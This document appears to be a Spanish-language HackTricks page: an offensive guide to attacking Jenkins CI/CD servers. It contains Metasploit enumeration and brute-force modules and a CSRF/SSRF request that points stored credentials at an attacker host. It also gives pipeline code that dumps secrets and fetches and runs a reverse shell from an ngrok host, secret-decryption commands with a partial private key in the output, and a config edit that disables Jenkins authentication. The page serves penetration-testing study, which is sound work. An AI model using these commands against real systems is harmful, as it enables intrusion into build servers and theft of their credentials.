Seguridad de Jenkins
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
Información básica
Jenkins es una herramienta que ofrece un método sencillo para establecer un entorno de integración continua o entrega continua (CI/CD) para casi cualquier combinación de lenguajes de programación y repositorios de código fuente usando pipelines. Además, automatiza diversas tareas rutinarias de desarrollo. Aunque Jenkins no elimina la necesidad de crear scripts para pasos individuales, sí proporciona una forma más rápida y más robusta de integrar toda la secuencia de herramientas de compilación, pruebas y despliegue de lo que se puede construir manualmente con facilidad.
Enumeración no autenticada
Para buscar páginas interesantes de Jenkins sin autenticación como (/people o /asynchPeople, esto lista los usuarios actuales) puedes usar:
msf> use auxiliary/scanner/http/jenkins_enum
Comprueba si puedes ejecutar comandos sin necesidad de autenticación:
msf> use auxiliary/scanner/http/jenkins_command
Sin credenciales puedes mirar dentro del path /asynchPeople/ o /securityRealm/user/admin/search/index?q= para nombres de usuario.
You may be able to get the Jenkins version from the path /oops or /error
.png)
Vulnerabilidades conocidas
GitHub - gquere/pwn_jenkins: Notes about attacking Jenkins servers \xc2\xb7 GitHub
Inicio de sesión
En la información básica puedes comprobar todas las formas de iniciar sesión en Jenkins:
Registro
Podrás encontrar instancias de Jenkins que te permiten crear una cuenta e iniciar sesión en ellas. Así de simple.
Inicio de sesión SSO
Además, si la funcionalidad SSO/plugins estaban presentes deberías intentar iniciar sesión en la aplicación usando una cuenta de prueba (p. ej., una cuenta de prueba de Github/Bitbucket). Truco de aquí.
Bruteforce
Jenkins no tiene política de contraseñas ni mitigación de brute-force de nombres de usuario. Es esencial realizar brute-force sobre los usuarios ya que pueden usarse contraseñas débiles o nombres de usuario como contraseñas, incluso nombres de usuario invertidos como contraseñas.
msf> use auxiliary/scanner/http/jenkins_login
Password spraying
Usa this python script o this powershell script.
IP Whitelisting Bypass
Muchas organizaciones combinan SaaS-based source control management (SCM) systems como GitHub o GitLab con una solución internal, self-hosted CI como Jenkins o TeamCity. Esta configuración permite que los sistemas CI receive webhook events from SaaS source control vendors, principalmente para desencadenar jobs de pipeline.
Para lograr esto, las organizaciones whitelist los IP ranges de las SCM platforms, permitiéndoles acceder al internal CI system vía webhooks. Sin embargo, es importante notar que anyone puede crear una account en GitHub o GitLab y configurarla para trigger a webhook, potencialmente enviando requests al internal CI system.
Internal Jenkins Abuses
En estos escenarios vamos a suponer que tienes una cuenta válida para acceder a Jenkins.
Warning
Dependiendo del Authorization mechanism configurado en Jenkins y de los permisos del usuario comprometido, puede que puedas o no realizar los siguientes ataques.
For more information check the basic information:
Listing users
Si has accedido a Jenkins puedes listar a otros usuarios registrados en http://127.0.0.1:8080/asynchPeople/
Dumping builds to find cleartext secrets
Usa this script para dump build console outputs y build environment variables para, con suerte, encontrar secretos en texto claro.
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
FormValidation/TestConnection endpoints (CSRF to SSRF/credential theft)
Algunos plugins exponen controladores Jelly validateButton o test connection bajo rutas como /descriptorByName/<Class>/testConnection. Cuando los controladores no exigen POST ni comprobaciones de permisos, puedes:
- Cambiar POST por GET y omitir el Crumb para evadir las comprobaciones CSRF.
- Invocar el controlador como low-priv/anonymous si no existe una comprobación
Jenkins.ADMINISTER. - Hacer CSRF a un admin y reemplazar el parámetro host/URL para exfiltrar credentials o provocar llamadas salientes.
- Usar los errores de respuesta (p. ej.,
ConnectException) como un oráculo SSRF/port-scan.
Ejemplo GET (sin Crumb) que convierte una llamada de validación en SSRF/exfiltración de credentials:
GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
Host: jenkins.local:8080
Si el plugin reutiliza credenciales almacenadas, Jenkins intentará autenticarse a attacker:4444 y puede leak identificadores o errores en la respuesta. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/
Robar credenciales SSH
Si el usuario comprometido tiene suficientes privilegios para crear/modificar un nuevo nodo de Jenkins y ya existen credenciales SSH almacenadas para acceder a otros nodos, podría robar esas credenciales creando/modificando un nodo y configurando un host que registre las credenciales sin verificar la clave del host:
.png)
Normalmente encontrarás las credenciales SSH de Jenkins en un global provider (/credentials/), así que también puedes dumpearlas como cualquier otro secreto. More information in the Dumping secrets section.
RCE en Jenkins
Obtener una shell en el servidor Jenkins le da al atacante la oportunidad de leak todos los secrets y las env variables y de explotar otras máquinas ubicadas en la misma red o incluso gather cloud credentials.
Por defecto, Jenkins se ejecuta como SYSTEM. Por tanto, comprometerlo dará al atacante privilegios SYSTEM.
RCE Creating/Modifying a project
Crear/Modificar un proyecto es una forma de obtener RCE en el servidor Jenkins:
Jenkins RCE Creating/Modifying Project
RCE Execute Groovy script
También puedes obtener RCE ejecutando un script Groovy, lo cual puede ser más sigiloso que crear un nuevo proyecto:
Jenkins RCE with Groovy Script
RCE Creating/Modifying Pipeline
También puedes obtener RCE creando/modificando un pipeline:
Jenkins RCE Creating/Modifying Pipeline
Pipeline Exploitation
Para explotar pipelines aún necesitas tener acceso a Jenkins.
Build Pipelines
Pipelines también pueden usarse como mecanismo de build en proyectos; en ese caso se puede configurar un archivo dentro del repositorio que contendrá la sintaxis del pipeline. Por defecto se usa /Jenkinsfile:
.png)
También es posible almacenar archivos de configuración del pipeline en otros lugares (por ejemplo, en otros repositorios) con el objetivo de separar el acceso al repositorio y al pipeline.
Si un atacante tiene acceso de escritura sobre ese archivo podrá modificarlo y potencialmente activar el pipeline sin siquiera tener acceso a Jenkins. Es posible que el atacante necesite eludir algunas protecciones de rama (dependiendo de la plataforma y de los privilegios del usuario estas protecciones podrían ser eludidas o no).
Los triggers más comunes para ejecutar un pipeline personalizado son:
- Pull request a la rama main (o potencialmente a otras ramas)
- Push a la rama main (o potencialmente a otras ramas)
- Actualizar la rama main y esperar hasta que se ejecute de alguna forma
Note
Si eres un external user no deberías esperar poder crear un PR to the main branch del repo de otro usuario/organización y trigger the pipeline… pero si está mal configurado podrías comprometer completamente empresas solo explotando esto.
Pipeline RCE
En la sección anterior de RCE ya se indicó una técnica para get RCE modifying a pipeline.
Checking Env variables
Es posible declarar env variables en texto claro para todo el pipeline o para etapas específicas. Estas env variables no deberían contener información sensible, pero un atacante podría revisar siempre todas las configuraciones del pipeline/Jenkinsfiles:
pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
Extracción de secretos
Para información sobre cómo Jenkins suele tratar los secretos, consulta la información básica:
Las credenciales pueden estar asignadas a proveedores globales (/credentials/) o a proyectos específicos (/job/<project-name>/configure). Por lo tanto, para exfiltrar todas ellas necesitas comprometer al menos todos los proyectos que contienen secretos y ejecutar pipelines personalizados o maliciosos.
Hay otro problema: para obtener un secreto dentro del env de un pipeline necesitas conocer el nombre y el tipo del secreto. Por ejemplo, si intentas cargar un usernamePassword secret como un string secret obtendrás este error:
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
Aquí tienes cómo cargar algunos secret types:
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}
withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}
withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}
# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}
Al final de esta página puedes encontrar todos los tipos de credenciales: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/
Warning
La mejor manera de volcar todos los secretos de una vez es comprometer la máquina Jenkins (ejecutando un reverse shell en el built-in node por ejemplo) y luego leaking las master keys y los encrypted secrets y descifrarlos offline.
Más sobre cómo hacer esto en la Nodes & Agents section y en la Post Exploitation section.
Triggers
From the docs: La directiva triggers define las formas automatizadas en las que el Pipeline debería volver a ejecutarse. Para Pipelines que están integrados con una fuente como GitHub o BitBucket, triggers puede no ser necesario ya que probablemente ya exista integración basada en webhooks. Los triggers actualmente disponibles son cron, pollSCM y upstream.
Cron example:
triggers { cron('H */4 * * 1-5') }
Consulta otros ejemplos en la docs.
Nodos & Agentes
Una instancia de Jenkins puede tener diferentes agentes corriendo en distintas máquinas. Desde la perspectiva de un atacante, el acceso a diferentes máquinas significa distintas credenciales cloud potenciales para robar o diferente acceso a la red que podría ser abusado para explotar otras máquinas.
Para más información consulta la información básica:
Puedes enumerar los nodos configurados en /computer/, normalmente encontrarás el **Built-In Node ** (que es el nodo que ejecuta Jenkins) y potencialmente más:
.png)
Es especialmente interesante comprometer el Built-In node porque contiene información sensible de Jenkins.
Para indicar que quieres ejecutar la pipeline en el built-in Jenkins node puedes especificar dentro del pipeline la siguiente config:
pipeline {
agent {label 'built-in'}
Ejemplo completo
Pipeline en un agente específico, con un trigger cron, con variables env a nivel de pipeline y stage, cargando 2 variables en un step y enviando un reverse shell:
pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}
post {
always {
cleanWs()
}
}
}
Arbitrary File Read to RCE
Jenkins Arbitrary File Read to RCE via “Remember Me”
RCE
Jenkins RCE with Groovy Script
Jenkins RCE Creating/Modifying Project
Jenkins RCE Creating/Modifying Pipeline
Post Exploitation
Metasploit
msf> post/multi/gather/jenkins_gather
Jenkins Secrets
Puedes listar los secrets accediendo a /credentials/ si tienes permisos suficientes. Ten en cuenta que esto solo listará los secrets dentro del archivo credentials.xml, pero los archivos de configuración de build podrían también contener más credentials.
Si puedes ver la configuración de cada proyecto, también puedes ver allí los nombres de las credentials (secrets) que se usan para acceder al repositorio y otras credentials del proyecto.
.png)
Desde Groovy
Jenkins Dumping Secrets from Groovy
Desde disco
Estos archivos son necesarios para descifrar Jenkins secrets:
- secrets/master.key
- secrets/hudson.util.Secret
Tales secrets suelen encontrarse en:
- credentials.xml
- jobs/…/build.xml
- jobs/…/config.xml
Aquí hay una regex para encontrarlos:
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
Descifrar secretos de Jenkins sin conexión
Si has volcado las contraseñas necesarias para descifrar los secretos, usa this script para descifrar esos secretos.
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
Descifrar secretos de Jenkins con Groovy
println(hudson.util.Secret.decrypt("{...}"))
Crear nuevo usuario administrador
- Accede al archivo config.xml de Jenkins en
/var/lib/jenkins/config.xmlorC:\Program Files (x86)\Jenkis\ - Busca la palabra
<useSecurity>true</useSecurity>y cambia la palabra **true** porfalse. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml- Reinicia el servidor Jenkins:
service jenkins restart - Ahora vuelve al portal de Jenkins y Jenkins no pedirá credenciales esta vez. Navega a “Manage Jenkins” para establecer la contraseña de administrador nuevamente.
- Habilita la seguridad de nuevo cambiando la configuración a
<useSecurity>true</useSecurity>y reinicia Jenkins nuevamente.
Referencias
- https://github.com/gquere/pwn_jenkins
- https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter—toying-with-powersploit/
- https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password
- https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html
- https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072
- https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
HackTricks Cloud

